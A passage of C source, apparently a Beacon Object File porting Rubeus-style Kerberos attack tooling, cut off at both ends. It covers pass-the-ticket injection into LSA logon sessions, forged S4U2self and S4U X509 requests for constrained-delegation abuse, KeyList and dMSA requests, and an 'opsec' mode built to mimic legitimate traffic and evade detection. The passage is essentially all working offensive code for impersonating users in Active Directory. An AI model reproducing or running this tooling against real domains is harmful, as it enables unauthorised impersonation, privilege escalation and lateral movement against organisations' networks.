(!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_QUERY, &TokenHandle)) {\n                return FALSE;\n            }\n        } else {\n            return FALSE;\n        }\n    }\n\n    if (!ADVAPI32$GetTokenInformation(TokenHandle, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {\n        return FALSE;\n    }\n\n    if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid)) {\n        return FALSE;\n    }\n\n    bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);\n\n    ADVAPI32$FreeSid(pSystemSid);\n\n    return bSystem;\n}\n\nBOOL GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {\n    HANDLE hLsaLocal = NULL;\n    ULONG  mode = 0;\n    bool   status = TRUE;\n    if (highIntegrity) {\n        STRING lsaString = (STRING){ .Length = 8, .MaximumLength = 9, .Buffer = \"Winlogon\" };\n        status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);\n    }\n    else {\n        status = SECUR32$LsaConnectUntrusted(&hLsaLocal);\n    }\n    *hLsa = hLsaLocal;\n    return status;\n}\n\nint my_isdigit(int c) {\n    return (c >= '0' && c <= '9');\n}\n\nint my_islower(int c) {\n    return (c >= 'a' && c <= 'z');\n}\n\nlong int my_strtol(const char* str, char** endptr, int base) {\n    long int result = 0;\n    int sign = 1;\n\n    if (*str == '-' || *str == '+') {\n        sign = (*str == '-') ? -1 : 1;\n        str++;\n    }\n\n    while (my_isdigit(*str) ||\n           (base == 16 && (*str >= 'a' && *str <= 'f')) ||\n           (base == 16 && (*str >= 'A' && *str <= 'F'))) {\n        int digit = 0;\n        if (my_isdigit(*str)) {\n            digit = *str - '0';\n        }\n        else if (base == 16) {\n            digit = (my_islower(*str) ? (*str - 'a' + 10) : (*str - 'A' + 10));\n        }\n\n        if (digit >= base)\n            break;\n\n        if (result > (LONG_MAX - digit) / base) {\n            if (sign == 1)\n                return LONG_MAX;\n            else\n                return LONG_MIN;\n        }\n\n        result = result * base + digit;\n        str++;\n    }\n\n    if (endptr != NULL)\n        *endptr = (char*)str;\n\n    return result * sign;\n}\n\nvoid PTT(char* luid, byte* ticket) {\n    HANDLE hToken = GetCurrentToken(TOKEN_QUERY);\n    LUID   currentLuid = GetCurrentLUID(hToken);\n    LUID   targetLuid = { 0 };\n    bool   IsHighIntegrity = IsSystem(hToken);\n\n    if (luid) {\n        targetLuid.LowPart = my_strtol(luid, NULL, 16);\n        if (targetLuid.LowPart == 0 || targetLuid.LowPart == LONG_MAX || targetLuid.LowPart == LONG_MIN) {\n            PRINT_OUT(\"[x] Invalid luid\\n\");\n            return;\n        }\n    }\n    else {\n        targetLuid = currentLuid;\n    }\n\n    if (!IsHighIntegrity && currentLuid.LowPart != targetLuid.LowPart) {\n        PRINT_OUT(\"[X] You need to be in SYSTEM integrity.\\n\");\n        return;\n    }\n\n    if (currentLuid.LowPart != targetLuid.LowPart)\n        IsHighIntegrity = FALSE;\n\n    HANDLE hLsa;\n    if (GetLsaHandle(hToken, IsHighIntegrity, &hLsa)) return;\n\n    ULONG authPackage;\n    LSA_STRING krbAuth = { .Buffer = \"kerberos\",.Length = 8,.MaximumLength = 9 };\n    if (SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage) == 0) {\n\n        int decode_ticket_size = 0;\n        byte* decode_ticket = base64_decode(ticket, &decode_ticket_size);\n\n        int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decode_ticket_size;\n        KERB_SUBMIT_TKT_REQUEST* submitRequest = MemAlloc(submitSize);\n\n        submitRequest->MessageType = KerbSubmitTicketMessage;\n        submitRequest->KerbCredSize = decode_ticket_size;\n        submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);\n        if (IsHighIntegrity)\n            submitRequest->LogonId = targetLuid;\n        else\n            submitRequest->LogonId = (LUID){ 0 };\n\n        MemCpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decode_ticket, decode_ticket_size);\n\n        NTSTATUS protocolStatus = 0;\n        ULONG    responseSize = 0;\n        void* response = 0;\n        if (SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus) || protocolStatus)\n            PRINT_OUT(\"\\n[X] Ticket not imported.\\n\");\n        else\n            PRINT_OUT(\"\\n[+] Ticket successfully imported.\\n\");\n    }\n    SECUR32$LsaDeregisterLogonProcess(hLsa);\n}\n\n\n\nbyte* ADRestrictionEntry_buildTokenStruct(uint flags, uint tokenIL) {\n    byte* data = MemAlloc(40);\n\n    data[0] = (byte)(flags >> 24);\n    data[1] = (byte)(flags >> 16);\n    data[2] = (byte)(flags >> 8);\n    data[3] = (byte)(flags);\n    data[4] = (byte)(tokenIL >> 24);\n    data[5] = (byte)(tokenIL >> 16);\n    data[6] = (byte)(tokenIL >> 8);\n    data[7] = (byte)(tokenIL);\n    ADVAPI32$SystemFunction036(data + 8, 32);\n    return data;\n}\n\n\n\nBOOL New_PA_DATA_s4uX509user(EncryptionKey key, char* name, char* realm, uint nonce, int eType, BOOL dmsa, PA_DATA* pa_data) {\n\n    PA_S4U_X509_USER* pa = MemAlloc(sizeof(PA_S4U_X509_USER));\n    pa->user_id.nonce = nonce;\n    // SIGN_REPLY = 0x20000000, UNCONDITIONAL_DELEGATION = 0x08000000\n    pa->user_id.options = 0x20000000;\n    if (dmsa)\n        pa->user_id.options |= 0x08000000;\n    if (my_copybuf(&(pa->user_id.crealm), realm, my_strlen(realm) + 1)) return TRUE;\n    // DMSA Requests do not work with NT_ENTERPRISE, force NT_PRINCIPAL\n    pa->user_id.cname.name_type = dmsa ? PRINCIPAL_NT_PRINCIPAL : PRINCIPAL_NT_ENTERPRISE;\n    pa->user_id.cname.name_count = 1;\n    pa->user_id.cname.name_string = MemAlloc(sizeof(void*) * pa->user_id.cname.name_count);\n    if (my_copybuf(&(pa->user_id.cname.name_string[0]), name, my_strlen(name) + 1)) return TRUE;\n\n    AsnElt userIDAsn = { 0 }, userIDSeq = { 0 };\n    if (AsnS4UUserIDEncode(&(pa->user_id), &userIDAsn)) return TRUE;\n    if (Make3(ASN_SEQUENCE, &userIDAsn, 1, &userIDSeq)) return TRUE;\n\n    int userIDBytes_length = ValueLength(&userIDSeq);\n    byte* userIDBytes = MemAlloc(userIDBytes_length);\n    userIDBytes_length = EncodeValue(&userIDSeq, 0, userIDBytes_length, userIDBytes, 0);\n\n    byte* cksumBytes = NULL;\n    int cksumBytesLength = 0;\n\n    if (eType == aes256_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES256, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == aes128_cts_hmac_sha1)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_HMAC_SHA1_96_AES128, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n    if (eType == rc4_hmac)\n        if (checksum(key.key_value, key.key_size, userIDBytes, userIDBytes_length, KERB_CHECKSUM_RSA_MD4, KRB_KEY_USAGE_PA_S4U_X509_USER, &cksumBytes, &cksumBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_SHA1_96_AES256;\n    pa->cksum.checksum_length = cksumBytesLength;\n    pa->cksum.checksum = cksumBytes;\n\n    pa_data->type = PADATA_PA_S4U_X509_USER;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_s4u2self(EncryptionKey key, char* name, char* realm, PA_DATA* pa_data) {\n    int realm_length = my_strlen(realm);\n    int name_length = my_strlen(name);\n\n    PA_FOR_USER* pa = MemAlloc(sizeof(PA_FOR_USER));\n\n    pa->userName.name_count = 1;\n    pa->userName.name_type = PRINCIPAL_NT_ENTERPRISE;\n    pa->userName.name_string = MemAlloc(sizeof(void*) * pa->userName.name_count);\n    if (!pa->userName.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n\n    if (my_copybuf(&(pa->userName.name_string[0]), name, name_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->userRealm), realm, realm_length + 1)) return TRUE;\n    if (my_copybuf(&(pa->auth_package), \"Kerberos\", 9)) return TRUE;\n\n    byte nameTypeBytes[] = { 0,0,0,0 };\n    nameTypeBytes[0] = 0xa;\n    byte* finalBytes = MemAlloc(4 + name_length + realm_length + 8);\n    MemCpy(finalBytes, nameTypeBytes, 4);\n    MemCpy(finalBytes + 4, name, name_length);\n    MemCpy(finalBytes + 4 + name_length, realm, realm_length);\n    MemCpy(finalBytes + 4 + name_length + realm_length, pa->auth_package, 8);\n\n    byte* outBytes = NULL;\n    int outBytesLength = 0;\n    if (checksum(key.key_value, key.key_size, finalBytes, 4 + name_length + realm_length + 8, KERB_CHECKSUM_HMAC_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &outBytes, &outBytesLength)) return TRUE;\n\n    pa->cksum.cksumtype = KERB_CHECKSUM_HMAC_MD5;\n    pa->cksum.checksum_length = outBytesLength;\n    pa->cksum.checksum = outBytes;\n\n    pa_data->type = PADATA_S4U2SELF;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_KeyListReq(int eType, PA_DATA* pa_data) {\n    PA_KEY_LIST_REQ* pa = MemAlloc(sizeof(PA_KEY_LIST_REQ));\n    pa->Enctype = eType;\n\n    pa_data->type = PADATA_KEY_LIST_REQ;\n    pa_data->value = pa;\n    return FALSE;\n}\n\nBOOL New_PA_DATA_options(BOOL claims, BOOL branch, BOOL fullDC, BOOL rbcd, PA_DATA* pa_data) {\n    PA_PAC_OPTIONS* pac = MemAlloc(sizeof(PA_PAC_OPTIONS));\n    if (claims) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 8);\n    if (branch) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 4);\n    if (fullDC) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 2);\n    if (rbcd) pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] | 1);\n    pac->kerberosFlags[0] = (byte)(pac->kerberosFlags[0] * 0x10);\n\n    pa_data->type = PADATA_PA_PAC_OPTIONS;\n    pa_data->value = pac;\n    return FALSE;\n}\n\nBOOL New_PA_DATA(char* crealm, char* cname, Ticket providedTicket, EncryptionKey clientKey, BOOL opsec, byte* req_body, int req_body_length, PA_DATA* pa_data) {\n\n    AP_REQ* ap_req = MemAlloc(sizeof(AP_REQ));\n    if (!ap_req) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    ap_req->pvno = 5;\n    ap_req->msg_type = KERB_AP_REQ;\n    ap_req->ap_options = 0;\n    ap_req->ticket = providedTicket;\n    ap_req->keyUsage = KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR;\n    ap_req->key = clientKey;\n\n    DateTime dt = GetGmTimeAdd(0);\n\n    if (my_copybuf(&(ap_req->authenticator.crealm), crealm, my_strlen(crealm) + 1)) return TRUE;\n\n    ap_req->authenticator.authenticator_vno = 5;\n    ap_req->authenticator.ctime = dt;\n    ap_req->authenticator.cname.name_count = 1;\n    ap_req->authenticator.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n    ap_req->authenticator.cname.name_string = MemAlloc(sizeof(void*) * ap_req->authenticator.cname.name_count);\n    if (!ap_req->authenticator.cname.name_string) {\n        PRINT_OUT(\"[x] Failed alloc memory\");\n        return TRUE;\n    }\n    if (my_copybuf(&(ap_req->authenticator.cname.name_string[0]), cname, my_strlen(cname) + 1)) return TRUE;\n\n    if (opsec) {\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.seq_number), 4);\n        PRINT_OUT(\"[+] Sequence number is: %u\\n\", ap_req->authenticator.seq_number);\n        ADVAPI32$SystemFunction036(&(ap_req->authenticator.cusec), 4);\n        ap_req->authenticator.cusec = ap_req->authenticator.cusec % 1000000;\n\n        if (req_body) {\n            ap_req->authenticator.cksum.cksumtype = KERB_CHECKSUM_RSA_MD5;\n            ap_req->authenticator.cksum.checksum_length = req_body_length;\n            ap_req->authenticator.cksum.checksum = req_body;\n        }\n    }\n\n    pa_data->type = PADATA_AP_REQ;\n    pa_data->value = ap_req;\n    return FALSE;\n}\n\nBOOL NewTGS_REP(AsnElt asn_TGS_REP, TGS_REP* tgs_rep) {\n    if (asn_TGS_REP.tagValue != KERB_TGS_REP) {\n        PRINT_OUT(\"TGS-REP tag value should be 13\");\n        return TRUE;\n    }\n    if ((asn_TGS_REP.subCount != 1) || (asn_TGS_REP.sub[0].tagValue != 16)) {\n        PRINT_OUT(\"First TGS-REP sub should be a sequence\");\n        return TRUE;\n    }\n\n    // extract the KDC-REP out\n    AsnElt* kdc_rep = asn_TGS_REP.sub[0].sub;\n    for (int i = 0; i < asn_TGS_REP.sub[0].subCount; i++) {\n        int tagValue = kdc_rep[i].tagValue;\n        if ( tagValue == 0 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->pvno))) return TRUE;\n        }\n        if ( tagValue == 1 ) {\n            if (AsnGetInteger(&(kdc_rep[i].sub[0]), &(tgs_rep->msg_type))) return TRUE;\n        }\n        if ( tagValue == 2 ) {\n            if (AsnGetPaData(&(kdc_rep[i].sub[0]), &(tgs_rep->padata))) return TRUE;\n        }\n        if ( tagValue == 3 ) {\n            if (AsnGetString(&(kdc_rep[i].sub[0]), &(tgs_rep->crealm))) return TRUE;\n        }\n        if ( tagValue == 4 ) {\n            if (AsnGetPrincipalName(&(kdc_rep[i].sub[0]), &(tgs_rep->cname))) return TRUE;\n        }\n        if ( tagValue == 5 ) {\n            if (AsnGetTicket(&(kdc_rep[i].sub[0].sub[0]), &(tgs_rep->ticket))) return TRUE;\n        }\n        if ( tagValue == 6 ) {\n            if (AsnGetEncryptedData(&(kdc_rep[i].sub[0]), &(tgs_rep->enc_part))) return TRUE;\n        }\n    }\n    return FALSE;\n}\n\nBOOL NewTGS_REQ(char* userName, char* domain, char* sname, Ticket providedTicket, EncryptionKey clientKey, int requestEType, byte* tgs, BOOL opsec, BOOL u2u, BOOL unconstrained, char* targetDomain, char* s4uUser, BOOL keyList, BOOL renew, BOOL dmsa, BOOL enterprise, byte** reqBytes, int* reqBytesSize) {\n    AS_REQ req = { 0 };\n\n    req.pvno = 5;\n    req.msg_type = 12;\n\n    req.req_body.kdc_options = FORWARDABLE | RENEWABLE | RENEWABLEOK;\n    req.req_body.till = 24 * 3600;\t\t // valid for 1h\n    ADVAPI32$SystemFunction036(&(req.req_body.nonce), 4);\n\n    if (!opsec && !u2u) {\n        req.req_body.cname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.cname.name_count = 1;\n        req.req_body.cname.name_string = MemAlloc(sizeof(void*) * req.req_body.cname.name_count);\n        if (!req.req_body.cname.name_string) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        if (my_copybuf(&(req.req_body.cname.name_string[0]), userName, my_strlen(userName) + 1)) return TRUE;\n    }\n\n    int partsCount = 0;\n    char** parts = my_strsplit( sname, '/', &partsCount );\n\n    // Cross-domain logic: extract targetDomain from SPN if not specified\n    if (targetDomain == NULL) {\n        if (enterprise) {\n            // For enterprise principal, extract domain from user@domain format\n            int atIndex = my_strfind(sname, '@');\n            if (atIndex > 0) {\n                if (my_copybuf(&targetDomain, sname + atIndex + 1, my_strlen(sname) - atIndex)) return TRUE;\n            } else {\n                if (my_copybuf(&targetDomain, domain, my_strlen(domain) + 1)) return TRUE;\n            }\n        }\n        else if ((partsCount > 1) && my_strcmp(parts[0], \"krbtgt\") && (tgs == NULL) && my_strcmp(parts[0], \"kadmin\")) {\n            // Extract domain from SPN like cifs/server.sub.domain.com -> sub.domain.com\n            int dotIndex = my_strfind(parts[1], '.');\n            if (dotIndex > 0 && my_strfind(parts[1] + dotIndex + 1, '.') > 0) {\n                // Has at least 2 dots, extract from first dot\n                if (my_copybuf(&targetDomain, parts[1] + dotIndex + 1, my_strlen(parts[1]) - dotIndex)) return TRUE;\n                // Remove port if present (e.g., domain.com:1234)\n                int colonIndex = my_strfind(targetDomain, ':');\n                if (colonIndex > 0)\n                    targetDomain[colonIndex] = 0;\n            }\n        }\n        if (targetDomain == NULL)\n            if (my_copybuf(&targetDomain, domain, my_strlen(domain) + 1)) return TRUE;\n    }\n\n    if (my_copybuf(&req.req_body.realm, targetDomain, my_strlen(targetDomain) + 1)) return TRUE;\n    StrToUpper(req.req_body.realm);\n\n    req.req_body.etypes_count = 0;\n    int etypeIndex = 0;\n    if (s4uUser && opsec)\n        req.req_body.etypes_count += 1;\n\n    if (requestEType == subkey_keymaterial) {\n        req.req_body.etypes_count += 4;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n    }\n    else if (opsec && (partsCount > 1) && my_strcmp(parts[0], \"krbtgt\")) {\n        req.req_body.etypes_count += 5;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = aes256_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = aes128_cts_hmac_sha1;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac;\n        req.req_body.etypes[etypeIndex++] = rc4_hmac_exp;\n        req.req_body.etypes[etypeIndex++] = old_exp;\n    }\n    else {\n        req.req_body.etypes_count += 1;\n        req.req_body.etypes = MemAlloc(sizeof(int) * req.req_body.etypes_count);\n        if (!req.req_body.etypes) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        req.req_body.etypes[etypeIndex++] = requestEType;\n    }\n\n    if (s4uUser) {\n        if (u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n            req.req_body.sname.name_type = PRINCIPAL_NT_UNKNOWN;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n        }\n        else if (dmsa) {\n            // DMSA: sname format is KRBTGT/DomainFQDN with NT_SRV_INST type\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = partsCount;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            for (int i = 0; i < partsCount; i++)\n                my_copybuf(&(req.req_body.sname.name_string[i]), parts[i], my_strlen(parts[i]) + 1);\n        }\n        else {\n            req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), userName, my_strlen(userName) + 1);\n        }\n\n        if (opsec)\n            req.req_body.etypes[etypeIndex++] = old_exp;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options | ENCTKTINSKEY;\n    }\n    else if (u2u) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE | ENCTKTINSKEY | FORWARDABLE | RENEWABLE | RENEWABLEOK;\n        req.req_body.sname.name_type = PRINCIPAL_NT_PRINCIPAL;\n        req.req_body.sname.name_count = 1;\n        req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n        my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n    }\n    else {\n        if (enterprise) {\n            // NT_ENTERPRISE principal (user@domain or UPN format)\n            req.req_body.sname.name_type = PRINCIPAL_NT_ENTERPRISE;\n            req.req_body.sname.name_count = 1;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), sname, my_strlen(sname) + 1);\n            req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE;\n        }\n        else if (partsCount == 1) {\n            // service and other unique instance (e.g. krbtgt)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), domain, my_strlen(domain) + 1);\n        }\n        else if (partsCount == 2) {\n            //      SPN (sname/server.domain.com)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_INST;\n            req.req_body.sname.name_count = 2;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n        }\n        else if (partsCount == 3) {\n            //      SPN (sname/server.domain.com/blah)\n            req.req_body.sname.name_type = PRINCIPAL_NT_SRV_HST;\n            req.req_body.sname.name_count = 3;\n            req.req_body.sname.name_string = MemAlloc(req.req_body.sname.name_count * sizeof(void*));\n            my_copybuf(&(req.req_body.sname.name_string[0]), parts[0], my_strlen(parts[0]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[1]), parts[1], my_strlen(parts[1]) + 1);\n            my_copybuf(&(req.req_body.sname.name_string[2]), parts[2], my_strlen(parts[2]) + 1);\n        }\n        else {\n            PRINT_OUT(\"[X] Error: invalid TGS_REQ sname '%s'\\n\", sname);\n        }\n    }\n\n    if (renew)\n        req.req_body.kdc_options = req.req_body.kdc_options | RENEW;\n\n    KRB_CRED kirbi_tgs = { 0 };\n    if (tgs) {\n        int bytesTgsSize = 0;\n        byte* bytesTgs = base64_decode(tgs, &bytesTgsSize);\n\n        AsnElt   asn_KRB_CRED = { 0 };\n        if (BytesToAsnDecode3(bytesTgs, bytesTgsSize, FALSE, &asn_KRB_CRED)) return TRUE;\n\n        if (AsnGetKrbCred(&(asn_KRB_CRED.sub[0]), &kirbi_tgs)) return TRUE;\n\n        req.req_body.additional_tickets_count = 1;\n        req.req_body.additional_tickets = MemAlloc(sizeof(Ticket) * req.req_body.additional_tickets_count);\n        req.req_body.additional_tickets[0] = kirbi_tgs.tickets[0];\n        if (!u2u) {\n            req.req_body.kdc_options = req.req_body.kdc_options | CONSTRAINED_DELEGATION | CANONICALIZE;\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n        }\n    }\n    if (keyList)\n        req.req_body.kdc_options = CANONICALIZE;\n\n    byte* cksum_Bytes = NULL;\n    int cksum_Bytes_length = 0;\n\n    if (opsec || (dmsa && s4uUser)) {\n        req.req_body.kdc_options = req.req_body.kdc_options | CANONICALIZE;\n        if (unconstrained)\n            req.req_body.kdc_options = req.req_body.kdc_options | FORWARDED;\n        else\n            req.req_body.kdc_options = req.req_body.kdc_options ^ (req.req_body.kdc_options & RENEWABLEOK);\n\n        // get hostname and hostname of SPN\n        int size = MAX_COMPUTERNAME_LENGTH + 2;\n        char* hostname = MemAlloc(size);\n        if (!hostname) {\n            PRINT_OUT(\"[x] Failed alloc memory\");\n            return TRUE;\n        }\n        KERNEL32$GetComputerNameA(hostname, &size);\n        int netbiosSize = 16;\n        int numSpaces = (size < netbiosSize) ? (netbiosSize - size) : 0;\n        int i = 0;\n        for (; i < numSpaces; i++)\n            hostname[size + i] = ' ';\n        hostname[size + numSpaces] = 0;\n\n        char* targetHostName;\n        if (partsCount > 1) {\n            int substrIndex = my_strfind(parts[1], '.');\n            if (substrIndex < 0)\n                substrIndex = my_strlen(parts[1]) + 1;\n\n            my_copybuf(&(targetHostName), parts[1], substrIndex);\n            targetHostName[substrIndex] = 0;\n            StrToUpper(targetHostName);\n        }\n        else {\n            my_copybuf(&(targetHostName), hostname, my_strlen(hostname) + 1);\n        }\n\n        // create enc-authorization-data if target host is not the local machine\n        if (my_strcmp(hostname, targetHostName) && (s4uUser == NULL) && !unconstrained) {\n            ADIfRelevant ifrelevant = { 0 };\n            ifrelevant.ad_type = 1;\n            ifrelevant.ADData_count = 2;\n            ifrelevant.ADData = MemAlloc(2 * sizeof(void*));\n\n            ADRestrictionEntry restrictions = { 0 };\n            restrictions.ad_type = 141; // KERB_AUTH_DATA_TOKEN_RESTRICTIONS;\n            restrictions.restriction_type = 0;\n            restrictions.restriction_length = 40;\n            restrictions.restriction = ADRestrictionEntry_buildTokenStruct(1, 8192);\n\n            ADKerbLocal kerbLocal = { 0 };\n            kerbLocal.ad_type = 142; // KERB_LOCAL\n            kerbLocal.ad_data_length = 16;\n            kerbLocal.ad_data = MemAlloc(16);\n            ADVAPI32$SystemFunction036(kerbLocal.ad_data, 16);\n\n            ifrelevant.ADData[0] = &restrictions;\n            ifrelevant.ADData[1] = &kerbLocal;\n\n            AsnElt authDataSeq = { 0 }, authDataSeqContext = { 0 };\n            if (AsnADIfRelevantEncode(&ifrelevant, &authDataSeq)) return TRUE;\n            if (Make3(ASN_SEQUENCE, &authDataSeq, 1, &authDataSeqContext)) return TRUE;\n\n            byte* authorizationDataBytes = NULL;\n            int authorizationDataBytesLegth = 0;\n            if (AsnToBytesEncode(&authDataSeqContext, &authorizationDataBytesLegth, &authorizationDataBytes)) return TRUE;\n\n            req.req_body.enc_authorization_data.etype = clientKey.key_type;\n\n            byte* enc_authorization_data = NULL;\n            int enc_authorization_data_length = 0;\n            if (encrypt(authorizationDataBytes, authorizationDataBytesLegth, clientKey.key_value, clientKey.key_type, KRB_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA,\n                        &(req.req_body.enc_authorization_data.cipher), &(req.req_body.enc_authorization_data.cipher_size))) return TRUE;\n        }\n\n        // S4U requests have a till time of 15 minutes in the future\n        if (s4uUser)\n            req.req_body.till = 900; // + 15 min\n\n        // encode req_body for authenticator cksum\n        AsnElt req_Body_ASN = { 0 }, req_Body_ASNSeq = { 0 }, req_Body_ASNSeqContext = { 0 };\n        if (AsnKDCReqBodyEncode(&(req.req_body), &req_Body_ASN)) return TRUE;\n        if (Make3(ASN_SEQUENCE, &req_Body_ASN, 1, &req_Body_ASNSeq)) return TRUE;\n        if (MakeImplicit(ASN_CONTEXT, 4, &req_Body_ASNSeq, &req_Body_ASNSeqContext)) return TRUE;\n\n        int req_Body_Bytes_length = ValueLength(&req_Body_ASNSeqContext);\n        byte* req_Body_Bytes = MemAlloc(req_Body_Bytes_length);\n        req_Body_Bytes_length = EncodeValue(&req_Body_ASNSeqContext, 0, req_Body_Bytes_length, req_Body_Bytes, 0);\n\n        checksum(clientKey.key_value, clientKey.key_size, req_Body_Bytes, req_Body_Bytes_length, KERB_CHECKSUM_RSA_MD5, KRB_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT, &cksum_Bytes, &cksum_Bytes_length);\n    }\n\n    // create the PA-DATA that contains the AP-REQ w/ appropriate authenticator/etc.\n    PA_DATA padata = { 0 };\n    if (New_PA_DATA(domain, userName, providedTicket, clientKey, opsec, cksum_Bytes, cksum_Bytes_length, &padata)) return TRUE;\n\n    req.pa_data_count = 1 + ((opsec || dmsa) && s4uUser) + ((s4uUser && !dmsa) || opsec || (tgs && !u2u)) + keyList;\n    int padata_index = 0;\n    req.pa_data = MemAlloc(req.pa_data_count * sizeof(PA_DATA));\n    req.pa_data[padata_index++] = padata;\n\n    // Add PA-DATA for KeyList request\n    if (keyList) {\n        PA_DATA keyListPaData = { 0 };\n        if (New_PA_DATA_KeyListReq(rc4_hmac, &keyListPaData)) return TRUE;\n        req.pa_data[padata_index++] = keyListPaData;\n    }\n\n    if ((opsec || dmsa) && s4uUser) {\n        // real packets seem to lowercase the domain in these 2 PA_DATA's\n        StrToLower(domain);\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4uX509user(clientKey, s4uUser, domain, req.req_body.nonce, clientKey.key_type, dmsa, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n\n    // add final S4U PA-DATA when not a DMSA request (DMSA only uses PA_S4U_X509_USER)\n    if (s4uUser && !dmsa) {\n        // constrained delegation yo'\n        PA_DATA s4upadata = { 0 };\n        if (New_PA_DATA_s4u2self(clientKey, s4uUser, domain, &s4upadata)) return TRUE;\n        req.pa_data[padata_index++] = s4upadata;\n    }\n    else if (opsec) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, TRUE, FALSE, FALSE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n    else if (tgs && !u2u) {\n        PA_DATA padataoptions = { 0 };\n        if (New_PA_DATA_options(FALSE, FALSE, FALSE, TRUE, &padataoptions)) return TRUE;\n        req.pa_data[padata_index++] = padataoptions;\n    }\n\n    AsnElt reqAsn = { 0 };\n    if (ReqToAsnEncode(req, 12, 